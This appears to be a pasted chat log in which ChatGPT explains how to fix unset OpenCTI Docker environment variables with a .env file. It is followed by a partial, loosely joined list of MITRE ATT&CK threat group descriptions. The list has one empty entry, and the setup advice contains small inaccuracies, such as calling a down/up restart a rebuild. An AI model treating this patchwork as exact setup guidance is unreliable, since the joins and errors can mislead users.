WARN[0000] The "ELASTIC_MEMORY_SIZE" variable is not set. Defaulting to a blank string. WARN[0000] The "ELASTIC_MEMORY_SIZE" variable is not set. Defaulting to a blank string. WARN[0000] The "OPENCTI_ADMIN_TOKEN" variable is not set. Defaulting to a blank string. WARN[0000] The "CONNECTOR_EXPORT_FILE_STIX_ID" variable is not set. Defaulting to a blank string. WARN[0000] The "OPENCTI_ADMIN_TOKEN" variable is not set. Defaulting to a blank string. WARN[0000] The "CONNECTOR_IMPORT_DOCUMENT_ID" variable is not set. Defaulting to a blank string. WARN[0000] The "OPENCTI_ADMIN_TOKEN" variable is not set. Defaulting to a blank string. WARN[0000] The "OPENCTI_ADMIN_TOKEN" variable is not set. Defaulting to a blank string. WARN[0000] The "CONNECTOR_EXPORT_FILE_TXT_ID" variable is not set. Defaulting to a blank string. WARN[0000] The "RABBITMQ_DEFAULT_USER" variable is not set. Defaulting to a blank string. WARN[0000] The "RABBITMQ_DEFAULT_PASS" variable is not set. Defaulting to a blank string. WARN[0000] The "OPENCTI_ADMIN_TOKEN" variable is not set. Defaulting to a blank string. WARN[0000] The "CONNECTOR_EXPORT_FILE_CSV_ID" variable is not set. Defaulting to a blank string. WARN[0000] The "OPENCTI_BASE_URL" variable is not set. Defaulting to a blank string. WARN[0000] The "OPENCTI_ADMIN_EMAIL" variable is not set. Defaulting to a blank string. WARN[0000] The "OPENCTI_ADMIN_PASSWORD" variable is not set. Defaulting to a blank string. WARN[0000] The "OPENCTI_ADMIN_TOKEN" variable is not set. Defaulting to a blank string. WARN[0000] The "MINIO_ROOT_USER" variable is not set. Defaulting to a blank string. WARN[0000] The "MINIO_ROOT_PASSWORD" variable is not set. Defaulting to a blank string. WARN[0000] The "RABBITMQ_DEFAULT_USER" variable is not set. Defaulting to a blank string. WARN[0000] The "RABBITMQ_DEFAULT_PASS" variable is not set. Defaulting to a blank string. WARN[0000] The "SMTP_HOSTNAME" variable is not set. Defaulting to a blank string. WARN[0000] The "OPENCTI_HEALTHCHECK_ACCESS_KEY" variable is not set. Defaulting to a blank string. WARN[0000] The "OPENCTI_HEALTHCHECK_ACCESS_KEY" variable is not set. Defaulting to a blank string. WARN[0000] The "OPENCTI_ADMIN_TOKEN" variable is not set. Defaulting to a blank string. WARN[0000] The "CONNECTOR_IMPORT_FILE_STIX_ID" variable is not set. Defaulting to a blank string. WARN[0000] The "OPENCTI_ADMIN_TOKEN" variable is not set. Defaulting to a blank string. WARN[0000] The "CONNECTOR_ANALYSIS_ID" variable is not set. Defaulting to a blank string. WARN[0000] The "MINIO_ROOT_USER" variable is not set. Defaulting to a blank string. WARN[0000] The "MINIO_ROOT_PASSWORD" variable is not set. Defaulting to a blank string. [+] Running 0/12 ⠴ connector-import-file-stix Pulling 4.6s ⠴ connector-analysis Pulling

ChatGPT said:

It looks like you're running into warnings due to missing environment variables that OpenCTI requires for proper configuration. These warnings indicate that certain variables, such as OPENCTI_ADMIN_TOKENRABBITMQ_DEFAULT_USER, and others, are not set, so OpenCTI is defaulting them to empty strings.

How to resolve this:

To ensure OpenCTI runs correctly, you'll need to set the required environment variables, either in the Docker container environment or within the .env file.

Steps to Set Environment Variables:

  1. Check the .env file (if it exists) inside the OpenCTI Docker configuration folder:

    • The .env file is where you define environment variables for OpenCTI.
    • If you're using Docker Compose, the .env file should be placed alongside the docker-compose.yml file.
  2. Create or edit the .env file: Here's a list of key variables that you should define in the .env file:

    ini

    CopyEdit

    OPENCTI_ADMIN_TOKEN=your_admin_token OPENCTI_BASE_URL=http://localhost:8080 OPENCTI_ADMIN_EMAIL=admin@yourdomain.com OPENCTI_ADMIN_PASSWORD=your_password MINIO_ROOT_USER=minio_user MINIO_ROOT_PASSWORD=minio_password RABBITMQ_DEFAULT_USER=rabbitmq_user RABBITMQ_DEFAULT_PASS=rabbitmq_password SMTP_HOSTNAME=smtp.yourdomain.com OPENCTI_HEALTHCHECK_ACCESS_KEY=your_healthcheck_key

    Replace the placeholder values with your actual values (you might need to generate a new admin token or password).

  3. Restart OpenCTI Docker containers: After editing the .env file, you need to rebuild the Docker containers so the changes can take effect:

    bash

    CopyEdit

    docker-compose down docker-compose up -d

  4. Check the logs: After bringing up the containers, check the logs to ensure everything is running smoothly:

    bash

    CopyEdit

    docker-compose logs -f

  5. Verify the OpenCTI Web Interface: Once the environment variables are set and the containers are running, you should be able to access OpenCTI at the URL you configured (e.g., http://localhost:8080).


Let me know if you run into any issues during the setup process or if you need further clarification!

Groups (150)

IDNameDescription
G0018admin@338admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. (Citation: FireEye admin@338)
G0130Ajax Security TeamAjax Security Team is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 Ajax Security Team transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.(Citation: FireEye Operation Saffron Rose 2013)
G0138AndarielAndariel is a North Korean state-sponsored threat group that has been active since at least 2009. Andariel has primarily focused its operations–which have included destructive attacks–against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. Andariel’s notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.(Citation: FSI Andariel Campaign Rifle July 2017)(Citation: IssueMakersLab Andariel GoldenAxe May 2017)(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)(Citation: CrowdStrike Silent Chollima Adversary September 2021)

Andariel is considered a sub-set of Lazarus Group, and has been attributed to North Korea’s Reconnaissance General Bureau.(Citation: Treasury North Korean Cyber Groups September 2019)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name Lazarus Group instead of tracking clusters or subgroups.
G1007Aoqin DragonAoqin Dragon is a suspected Chinese cyber espionage threat group that has been active since at least 2013. Aoqin Dragon has primarily targeted government, education, and telecommunication organizations in Australia, Cambodia, Hong Kong, Singapore, and Vietnam. Security researchers noted a potential association between Aoqin Dragon and UNC94, based on malware, infrastructure, and targets.(Citation: SentinelOne Aoqin Dragon June 2022)
G0099APT-C-36APT-C-36 is a suspected South America espionage group that has been active since at least 2018. The group mainly targets Colombian government institutions as well as important corporations in the financial sector, petroleum industry, and professional manufacturing.(Citation: QiAnXin APT-C-36 Feb2019)
G0006APT1APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)
G0005APT12APT12 is a threat group that has been attributed to China. The group has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments.(Citation: Meyers Numbered Panda)
G0023APT16APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)
G0025APT17APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)
G0026APT18APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)
G0073APT19APT19 is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track APT19 and Deep Panda as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China’s Espionage Jul 2016) (Citation: FireEye APT Groups) (Citation: Unit 42 C0d0so0 Jan 2016)
G0007APT28APT28 is a threat group that has been attributed to Russia’s General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: FireEye APT28 January 2017)(Citation: GRIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018)(Citation: ESET Zebrocy May 2019)

APT28 reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with APT28 for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as Sandworm Team.
G0016APT29APT29 is threat group that has been attributed to Russia’s Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. APT29 reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)

In April 2021, the US and UK governments attributed the SolarWinds Compromise to the SVR; public statements included citations to APT29, Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Industry reporting also referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: Unit 42 SolarStorm December 2020)
G0022APT3APT3 is a China-based threat group that researchers have attributed to China’s Ministry of State Security.(Citation: FireEye Clandestine Wolf)(Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.(Citation: FireEye Clandestine Wolf)(Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.(Citation: Symantec Buckeye)

In 2017, MITRE developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)
G0013APT30APT30 is a threat group suspected to be associated with the Chinese government. While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.(Citation: FireEye APT30)(Citation: Baumgartner Golovkin Naikon 2015)
G0050APT32APT32 is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus)
G0064APT33APT33 is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)
G0057APT34
G0067APT37APT37 is a North Korean state-sponsored cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. APT37 has also been linked to the following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year 2018.(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos Group123)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name Lazarus Group instead of tracking clusters or subgroups.
G0082APT38APT38 is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, APT38 has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which APT38 stole $81 million, as well as attacks against Bancomext (2018) and Banco de Chile (2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name Lazarus Group instead of tracking clusters or subgroups.
G0087APT39APT39 is one of several names for cyber espionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. APT39 has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)
G0096APT41APT41 is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, APT41 has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. APT41 overlaps at least partially with public reporting on groups including BARIUM and Winnti Group.(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)
G0143Aquatic PandaAquatic Panda is a suspected China-based threat group with a dual mission of intelligence collection and industrial espionage. Active since at least May 2020, Aquatic Panda has primarily targeted entities in the telecommunications, technology, and government sectors.(Citation: CrowdStrike AQUATIC PANDA December 2021)
G0001AxiomAxiom is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least 2008. Some reporting suggests a degree of overlap between Axiom and Winnti Group but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015)
G0135BackdoorDiplomacyBackdoorDiplomacy is a cyber espionage threat group that has been active since at least 2017. BackdoorDiplomacy has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.(Citation: ESET BackdoorDiplomacy Jun 2021)
G1002BITTERBITTER is a suspected South Asian cyber espionage threat group that has been active since at least 2013. BITTER has primarily targeted government, energy, and engineering organizations in Pakistan, China, Bangladesh, and Saudi Arabia.(Citation: Cisco Talos Bitter Bangladesh May 2022)(Citation: Forcepoint BITTER Pakistan Oct 2016)
G0063BlackOasisBlackOasis is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)
G0098BlackTechBlackTech is a suspected Chinese cyber espionage group that has primarily targeted organizations in East Asia–particularly Taiwan, Japan, and Hong Kong–and the US since at least 2013. BlackTech has used a combination of custom malware, dual-use tools, and living off the land tactics to compromise media, construction, engineering, electronics, and financial company networks.(Citation: TrendMicro BlackTech June 2017)(Citation: Symantec Palmerworm Sep 2020)(Citation: Reuters Taiwan BlackTech August 2020)
G0108Blue MockingbirdBlue Mockingbird is a cluster of observed activity involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. The earliest observed Blue Mockingbird tools were created in December 2019.(Citation: RedCanary Mockingbird May 2020)
G0060BRONZE BUTLERBRONZE BUTLER is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)
G0008CarbanakCarbanak is a cybercriminal group that has used Carbanak malware to target financial institutions since at least 2013. Carbanak may be linked to groups tracked separately as Cobalt Group and FIN7 that have also used Carbanak malware.(Citation: Kaspersky Carbanak)(Citation: FireEye FIN7 April 2017)(Citation: Europol Cobalt Mar 2018)(Citation: Secureworks GOLD NIAGARA Threat Profile)(Citation: Secureworks GOLD KINGSWOOD Threat Profile)
G0114ChimeraChimera is a suspected China-based threat group that has been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)
G0003CleaverCleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)
G0080Cobalt GroupCobalt Group is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. Cobalt Group has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between Cobalt Group and both the malware Carbanak and the group Carbanak.(Citation: Europol Cobalt Mar 2018)
G0142ConfuciusConfucius is a cyber espionage group that has primarily targeted military personnel, high-profile personalities, business persons, and government organizations in South Asia since at least 2013. Security researchers have noted similarities between Confucius and Patchwork, particularly in their respective custom malware code and targets.(Citation: TrendMicro Confucius APT Feb 2018)(Citation: TrendMicro Confucius APT Aug 2021)(Citation: Uptycs Confucius APT Jan 2021)
G0052CopyKittensCopyKittens is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip.(Citation: ClearSky CopyKittens March 2017)(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)
G0132CostaRictoCostaRicto is a suspected hacker-for-hire cyber espionage campaign that has targeted multiple industries worldwide since at least 2019. CostaRicto’s targets, a large portion of which are financial institutions, are scattered across Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia.(Citation: BlackBerry CostaRicto November 2020)
G1012CURIUMCURIUM is an Iranian threat group first reported in November 2021 that has invested in building a relationship with potential targets via social media over a period of months to establish trust and confidence before sending malware. Security researchers note CURIUM has demonstrated great patience and persistence by chatting with potential targets daily and sending benign files to help lower their security consciousness.(Citation: Microsoft Iranian Threat Actor Trends November 2021)
G0070Dark CaracalDark Caracal is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012. (Citation: Lookout Dark Caracal Jan 2018)
G0012DarkhotelDarkhotel is a suspected South Korean threat group that has targeted victims primarily in East Asia since at least 2004. The group’s name is based on cyber espionage operations conducted via hotel Internet networks against traveling executives and other select guests. Darkhotel has also conducted spearphishing campaigns and infected victims through peer-to-peer and file sharing networks.(Citation: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft Digital Defense FY20 Sept 2020)
G0079DarkHydrusDarkHydrus is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. (Citation: Unit 42 DarkHydrus July 2018) (Citation: Unit 42 Playbook Dec 2017)
G0105DarkVishnyaDarkVishnya is a financially motivated threat actor targeting financial institutions in Eastern Europe. In 2017-2018 the group attacked at least 8 banks in this region.(Citation: Securelist DarkVishnya Dec 2018)
G0009Deep PandaDeep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to Deep Panda. (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track Deep Panda and APT19 as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China’s Espionage Jul 2016)
G0035DragonflyDragonfly is a cyber espionage group that has been attributed to Russia’s Federal Security Service (FSB) Center 16.(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) Active since at least 2010, Dragonfly has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)(Citation: Symantec Dragonfly 2.0 October 2017)
G0074Dragonfly 2.0Dragonfly 2.0 is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between Dragonfly 2.0 and Dragonfly, but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )
G0017DragonOKDragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)
G0031Dust StormDust Storm is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)
G1006Earth LuscaEarth Lusca is a suspected China-based cyber espionage group that has been active since at least April 2019. Earth Lusca has targeted organizations in Australia, China, Hong Kong, Mongolia, Nepal, the Philippines, Taiwan, Thailand, Vietnam, the United Arab Emirates, Nigeria, Germany, France, and the United States. Targets included government institutions, news media outlets, gambling companies, educational institutions, COVID-19 research organizations, telecommunications companies, religious movements banned in China, and cryptocurrency trading platforms; security researchers assess some Earth Lusca operations may be financially motivated.(Citation: TrendMicro EarthLusca 2022)

Earth Lusca has used malware commonly used by other Chinese threat groups, including APT41 and the Winnti Group cluster, however security researchers assess Earth Lusca’s techniques and infrastructure are separate.(Citation: TrendMicro EarthLusca 2022)
G0066ElderwoodElderwood is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)
G1003Ember BearEmber Bear is a suspected Russian state-sponsored cyber espionage group that has been active since at least March 2021. Ember Bear has primarily focused their operations against Ukraine and Georgia, but has also targeted Western European and North American foreign ministries, pharmaceutical companies, and financial sector organizations. Security researchers assess Ember Bear likely conducted the WhisperGate destructive wiper attacks against Ukraine in early 2022.(Citation: CrowdStrike Ember Bear Profile March 2022)(Citation: Mandiant UNC2589 March 2022)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )
G0020EquationEquation is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)
G0120EvilnumEvilnum is a financially motivated threat group that has been active since at least 2018.(Citation: ESET EvilNum July 2020)
G1011EXOTIC LILYEXOTIC LILY is a financially motivated group that has been closely linked with Wizard Spider and the deployment of ransomware including Conti and DiavolEXOTIC LILY may be acting as an initial access broker for other malicious actors, and has targeted a wide range of industries including IT, cybersecurity, and healthcare since at least September 2021.(Citation: Google EXOTIC LILY March 2022)
G0137Ferocious KittenFerocious Kitten is a threat group that has primarily targeted Persian-speaking individuals in Iran since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)
G0051FIN10FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)
G0085FIN4FIN4 is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014) FIN4 is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)
G0053FIN5FIN5 is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)
G0037FIN6FIN6 is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)
G0046FIN7FIN7 is a financially-motivated threat group that has been active since 2013 primarily targeting the U.S. retail, restaurant, and hospitality sectors, often using point-of-sale malware. A portion of FIN7 was run out of a front company called Combi Security. Since 2020 FIN7 shifted operations to a big game hunting (BGH) approach including use of REvil ransomware and their own Ransomware as a Service (RaaS), Darkside. FIN7 may be linked to the Carbanak Group, but there appears to be several groups using Carbanak malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)
G0061FIN8FIN8 is a financially motivated threat group known to launch tailored spearphishing campaigns targeting the retail, restaurant, and hospitality industries. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Fin8 May 2016)
G0117Fox KittenFox Kitten is threat actor with a suspected nexus to the Iranian government that has been active since at least 2017 against entities in the Middle East, North Africa, Europe, Australia, and North America. Fox Kitten has targeted multiple industrial verticals including oil and gas, technology, government, defense, healthcare, manufacturing, and engineering.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: Dragos PARISITE )(Citation: ClearSky Pay2Kitten December 2020)
G0101FrankensteinFrankenstein is a campaign carried out between January and April 2019 by unknown threat actors. The campaign name comes from the actors’ ability to piece together several unrelated components.(Citation: Talos Frankenstein June 2019)
G0093GALLIUMGALLIUM is a cyberespionage group that has been active since at least 2012, primarily targeting telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam. Security researchers have identified GALLIUM as a likely Chinese state-sponsored group, based in part on tools used and TTPs commonly associated with Chinese threat actors.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)(Citation: Unit 42 PingPull Jun 2022)
G0084GallmakerGallmaker is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. The group has mainly targeted victims in the defense, military, and government sectors.(Citation: Symantec Gallmaker Oct 2018)
G0047Gamaredon GroupGamaredon Group is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. The name Gamaredon Group comes from a misspelling of the word “Armageddon”, which was detected in the adversary’s early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)

In November 2021, the Ukrainian government publicly attributed Gamaredon Group to Russia’s Federal Security Service (FSB) Center 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)
G0036GCMANGCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)
G0141GelsemiumGelsemium is a cyberespionage group that has been active since at least 2014, targeting governmental institutions, electronics manufacturers, universities, and religious organizations in East Asia and the Middle East.(Citation: ESET Gelsemium June 2021)
G0115GOLD SOUTHFIELDGOLD SOUTHFIELD is a financially motivated threat group active since at least 2018 that operates the REvil Ransomware-as-a Service (RaaS). GOLD SOUTHFIELD provides backend infrastructure for affiliates recruited on underground forums to perpetrate high value deployments. By early 2020, GOLD SOUTHFIELD started capitalizing on the new trend of stealing data and further extorting the victim to pay for their data to not get publicly leaked.(Citation: Secureworks REvil September 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Secureworks GOLD SOUTHFIELD)(Citation: CrowdStrike Evolution of Pinchy Spider July 2021)
G0078Gorgon GroupGorgon Group is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. (Citation: Unit 42 Gorgon Group Aug 2018)
